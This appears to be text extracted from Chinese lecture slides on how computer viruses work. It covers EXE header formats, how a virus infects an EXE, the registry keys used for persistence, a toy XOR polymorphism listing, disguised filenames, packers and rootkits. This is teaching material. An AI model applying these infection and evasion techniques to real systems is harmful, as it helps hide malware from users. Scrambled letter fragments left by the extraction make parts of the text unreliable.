SS:SP
DWORD
18
Stack
WORD 初始大小
12
CS:IP
DWORD
14
...
1C
Heap
WORD 初始大小
10
数据段号
Automatic Data Segment
WORD
0E
标志位 Flags
WORD
0C
DWORD 保留
08
WORD 入口表长度,以字节为单位
06
WORD 入口表地址偏移量
04
Linker
小版本号 revision number
byte
03
Linker
版本号 version number
byte
02
标识,
NE
(4E 45)
2 bytes
00
NE
文件头开始
DOS stub
,仅仅显示程序不能在 DOS
下运行
NE
文件头偏移地址 (0x18
处取值等于 0040H)
DWORD
3C
标准的 MZ
文件头,
MZ
(4D 5A)
28 bytes
00
偏移量类型含义
41
NE
可执行文件头实例
0000h: 4D 5A FB 00 03 00 00 00 20 00 00 00 FF FF 07 00 MZ?.... ... ..
0010h: 00 01 65 40 00 00 00 00 40 00 00 00 01 00 00 00 ..e@....@.......
0020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030h: 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 ................
...
0400h: 4E 45 05 0A 3F 01 22 00 BF BE 3D 43 01 03 02 00 NE..?.". 烤=C....
0410h: 00 10 F6 13 43 31 01 00 00 00 02 00 02 00 05 00 ..?C1..........
0420h: 53 00 40 00 50 00 09 01 15 01 1F 01 61 05 00 00 [email protected]...
0430h: 05 00 09 00 00 00 02 08 03 00 2F 00 00 00 0A 03 ........../.....
0440h: 04 00 0A 3B 50 0D 0A 3B 24 00 D2 07 71 0C D2 07 ...;P..;$.?q.?
0450h: 09 00 0E 80 01 00 00 00 00 00 28 00 01 00 50 1C ... €......(...P.
42
PE
可执行文件头结构
Section n
Section ...
Section 1
Section table
PE header
DOS stub
DOS MZ header
可选文件头
Optional Header
(若存在)
18
属性 Flagss
WORD
16
可选文件头( Optional Header
WORD )大小,字节数
14
DWORD 符号表项数
10
DWORD 符号表入口偏移量
0C
时间戳(类似 time_t
0=Jan 1st, 1970 0:0:0
DWORD
08
Section
WORD
06
处理器要求, 14C=80386
14D=80486
14E=Pentium
WORD
04
标识,
PE/0/0
(50 45 00 00)
4 bytes
00
PE
文件头开始
DOS stub
,仅仅显示程序不能在 DOS
下运行
PE
文件头偏移地址 (0x18
处取值等于 40H)
DWORD
3C
标准的 MZ
文件头,
MZ
(4D 5A)
28 bytes
00
偏移量类型含义
PE
文件头结构框架
43
PE
可执行文件头实例
0000h: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ?........ ..
0010h: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ?......@.......
0020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030h: 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 00 ............?..
0040h: 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..?.???L?Th
0050h: 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
0060h: 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
0070h: 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......
0080h: FB 1D BB B1 BF 7C D5 E2 BF 7C D5 E2 BF 7C D5 E2 ? 槐縷这縷这縷这
0090h: C4 60 D9 E2 BE 7C D5 E2 DD 63 C6 E2 BB 7C D5 E2 腵兮緗这輈柒粅这
00a0h: 3C 60 DB E2 BC 7C D5 E2 57 63 DF E2 B4 7C D5 E2 <` 垅紎这Wc哜磡这
00b0h: BF 7C D4 E2 1A 7C D5 E2 57 63 D1 E2 B8 7C D5 E2 縷遭.|这Wc砚竱这
00c0h: 57 63 DE E2 B8 7C D5 E2 07 7A D3 E2 BE 7C D5 E2 Wc 掴竱这.z逾緗这
00d0h: 52 69 63 68 BF 7C D5 E2 00 00 00 00 00 00 00 00 Rich 縷这........
00e0h: 50 45 00 00 4C 01 04 00 FD 55 71 44 00 00 00 00 PE..L... 齍qD....
00f0h: 00 00 00 00 E0 00 0F 01 0B 01 06 00 00 40 00 00 ....?.......@..
0100h: 00 70 00 00 00 00 00 00 74 3F 00 00 00 10 00 00 .p......t?......
0110h: 00 50 00 00 00 00 40 00 00 10 00 00 00 10 00 00 .P....@.........
0120h: 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................
44
病毒
寄生
EXE
文件过程
搜索到宿主文件
取得文件头中的程序入口( CS:IP
ISPC:
)和文
件大小,然后将病毒体复制到文件的末
尾或 exe
文件的空白处,修改 CS:IP
ISPC:
到病
毒代码的入口,然后再在病毒代码的最
后添加一个远程调用 (call [saved
cs:ip
])
回到程序的真正起点。
修正文件头,主要是文件大小和
checksum
校验和,有可能还会修正重定
向表(但一般不会修改)。
修补文件修改时间、属性等
45
DOS
中容易被病毒利用的文件
autoexec.bat
command.com
config.sys
46
Windows
sodnwWi
中容易被病毒利用的文件
win.ini
system.ini
kernel32.dll
lr3kn2e. rundll32.exe
svchost.exe
explorer.exe
eroxeerpl
ws2_32.dll
ls2w_ wsock32.dll
lsokwc32. hosts
tshos
downloaded program files/
fonts/
help/
等文件夹,开始( Startup
)程序夹等
system32/dllcache/
文件夹
47
Windows
sodnwWi
注册表常被病毒修改的地方
run/
runonce/runservice
exefile/comfile/txtfile
等文件关联
Internet Explorer
参数设置
Policies
分支
BHOs
Shellext
Winlogon
48
病毒对注册表 run
分支的利用
runonce
erunonc
runservice
cervuins
等也都是同一分支的
里面的内容大多为 string=<path string>
型的,关键看 <path string>
是否是
正确
的程序
系统启动时会自动运行 run
等分支里面的
内容
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/
CurrentVersion
/
run/
HKEY_CURRENT_USER/Software/Microsoft/Windows/
CurrentVersion
/
run/
HKEY_USERS/
<?>
< ? >
/Software/Microsoft/Windows/
CurrentVersion
/
run/
49
病毒对文件关联的利用
exefile/comfile/txtfile
等文件关联
HKEY_CLASSES_ROOT/
.exe
/
(
默认 )
的取值
exefile
e x e f i l e
HKEY_CLASSES_ROOT/
exefile
/Shell/Open/Command/
(
默认 )
的取值
%1
% 1
%
%
*
*
系统在双击打开文件时会根据文件
关联的设置项来加载程序
如果采用外部程序加载文档的方
式,系统会自动运行外部程序
txtfile
/ (
默认 )=
NOTEPAD.EXE %1
50
Internet Explorer
参数
HKEY_LOCAL_MACHINE/Software/Microsoft/Internet
Explorer/
HKEY_CURRENT_USER/Software/Microsoft/Internet
Explorer/
扩展的 IE
接口插件( Extensions
菜单扩展( MenuExt
)、工具条扩展
Toolbar
)、浏览扩展(
Explorer Bars
seraoxEBrpl
各种
钩子
hooks
缺省主页、搜索页等预设信息
恶意代码的最爱
51
鸡肋的 BHOs
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/
CurrentVersion/Explorer/Browser
Helper Objects/
保存的是对象的 GUID
系统外壳程序( explorer.exe
)启动
后,即被加载
很多 BHOs
是没有必要的
可以借助一些工具:如 MS
Spyware
52
虚张声势的 policies
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/
CurrentVersion
/policies/
HKEY_CURRENT_USER/Software/Microsoft/Windows/
CurrentVersion
/policies/
该分支下的 System
分支可以限制系统用户的操
病毒和恶意代码经常禁用掉注册表编辑器(设
DisableRegistryTools=
DWORD:
1
解决:非常简单,用记事本编写文件: a.reg
然后双击 a.reg
,导入到注册表即可解封
REGEDIT4
[
HKEY_LOCAL_MACHINE
/Software/Microsoft/Windows/CurrentVersion/Policies/System
ilftsceraoySdnuPCVwmMWi
]
"
DisableRegistryTools
"=dword:00000000
53
系统扩展 Shell
Extention
HKEY_CLASS_ROOT/
*
/
shellex
/
ContextMenuHandlers
seraoxnCMtnutdHl
:右键菜单扩展
PropertySheetHandlers
tseraoyPHSnpedhle
:属性页扩展
首次使用时加载到系统中,直到系统重启
增加系统的可用性,但也带来不安全性
54
被遗忘的角落: Winlogon
lgonWi
Windows 2000/XP/2003
s023odnPXwWi
系统启动时
会根据该分支进行用户环境初始化
易被利用的键值:
HKEY_LOCAL_MACHINE/Software/Microsoft/
WindowsNT
sodnTNwWi
/
CurrentVersion/Winlogon
iltsergonuCVWi
/
shell=explorer.exe
userinit
=
<path>
< p a t h >
/
userinit.exe
,
启动的时候会用 userinit
来初始化用
户环境,然后用 shell
作为
外壳
55
病毒
隐蔽
原理
保持原有文件大小、时间、属性等不变
保持可执行程序仍然可实现原有功能
内存驻留
变形:变化自身代码,躲避反病毒软件
的追踪
伪装成系统文件,利用相似文件名或者
同文件名不同路径等
缺省配置下 Windows
snWdiow
系统使用长文件名
和不显示文件后缀,病毒利用容易混淆
的文件名、图标等来诱骗用户
56
病毒的
隐身
技术
将宿主程序压缩
将自身分解,嵌入在文件的空档处
保持文件的创建修改时间、大小、文件属
性等不变
修正 EXE
文件的校验和( Checksum
利用
变形
技术
利用常见软件的图标、文件名等伪装,造
成人为的判断错误
57
病毒的
变形
技术
变形( Polymorphic
):躲避反病毒
的检查,每次传播病毒代码都与上
一次不同。
一维变形病毒
通过变换加密的密钥使得真正的病毒体
被加密,每次传播密钥都不相同。
多维变形病毒
变换加密的密钥,同时在病毒体内随机
放置一些无用的指令。
58
一维变形
示意
病毒体一:
0100 BB1F01 MOV BX,011F
0103 8A07 MOV AL,[BX]
0105 BB1001 MOV BX,0110
0108 B90F00 MOV CX,000F
010B 3007 XOR [BX],AL
010D 43 INC BX
010E E2FB LOOP 010B
0110 B80010 MOV AX,1000
0113 B90010 MOV CX,1000
0116 29C8 SUB AX,CX
0118 7406 JZ 0120
011A 90 NOP
011B 90 NOP
011C 90 NOP
011D 90 NOP
011E 90 NOP
011F 00BB1F01 ADD [BP+DI+011F],BH
0123 8A163412 MOV DL,[1234] ;[1234]=30
0127 8817 MOV [BX],DL
0129 B90F00 MOV CX,000F
012C BB1001 MOV BX,0110
012F 3017 XOR [BX],DL
0131 43 INC BX
0132 E2FB LOOP 012F
0134 CC INT 3
传播后
病毒体二:
0100 BB1F01 MOV BX,011F
0103 8A07 MOV AL,[BX]
0105 BB1001 MOV BX,0110
0108 B90F00 MOV CX,000F
010B 3007 XOR [BX],AL
010D 43 INC BX
010E E2FB LOOP 010B
0110 8830 MOV [BX+SI],DH
0112 20893020 AND
[BX+DI+2030],CL
0116 19F8 SBB AX,DI
0118 44 INC SP
0119 36 SS:
011A A0A0A0 MOV AL,[A0A0]
011D A0A030 MOV AL,[30A0]
0120 BB1F01 MOV BX,011F
0123 8A163412 MOV DL,[1234]
0127 8817 MOV [BX],DL
0129 B90F00 MOV CX,000F
012C BB1001 MOV BX,0110
012F 3017 XOR [BX],DL
0131 43 INC BX
0132 E2FB LOOP 012F
0134 CC INT 3
1_poly.com
代码演示
59
多维变形
示意
病毒体一:
MOV AX, 1000
NOP
MOV CX, 1000
SUB AX, CX
JZ ...
对应的机器码:
B8 00 10
90
B9 00 10
29 C8 74 ...
病毒体二:
MOV AX, 1000
MOV CX, 1000
NOP
SUB AX, CX
JZ ...
对应的机器码:
B8 00 10
B9 00 10
90
29 C8 74 ...
传播后
60
常见的病毒伪装图标、文件名
SVCH0ST.exe 、svchost.dll、scvhost.exe
rundll.exe 、rundll32.dll、rundl132.dll
dllhost32.exe 、dllhost.dll
explore.exe 、iexplorer.exe
kernel32.exe 、krnl386.dll
1sass.exe
*.pif 、www.*.com
伪装成IE的图标、dll文件的图标、空白文档
的图标、无图标的可执行程序等
61
黑客式的替换
1=l
0=O
5=S, $=S
3=E
4=A
8=B
9=G
7=T, t
2=Z
等宽字体(宋体)下:
1=l
0=O
5=S, $=S
3=E
4=A
8=B
9=G
7=T,t
2=Z
62
新型
隐身
技术
加壳
程序
Rootkit
技术
63
病毒的
加壳
Shell
主要针对 MZ/PE
格式的文件,如 EXE
DLL
常见的加壳工具: ASPACK
SACKP
UPX
PEcompact
tcopPEmac
PE-PACK
WWPACK32
ETITE
NEOLITE
等。
这些
加壳
程序最初是想在不影响文件功
能的前提下减小 exe
文件的大小、保护版
权信息等
逐步演变出带有专门的防编译、防跟踪功
能的保护壳程序。
被加过壳的文件一般在文件头都有明显的
特征用以标识是哪种加壳工具制造的。
64
Rootkit
技术
最早 Rootkit
是指 unix
系统下用以提
升到 root
权限的一些工具
Russinovich
Winternals
ltseranWi
软件公司
的创始人)给出的定义:在一个系
统中故意隐藏自身存在的恶意软件
进程级 rootkit
和驱动级 rootkit
,后者
更难对付 __

你可能感兴趣的:(计算机)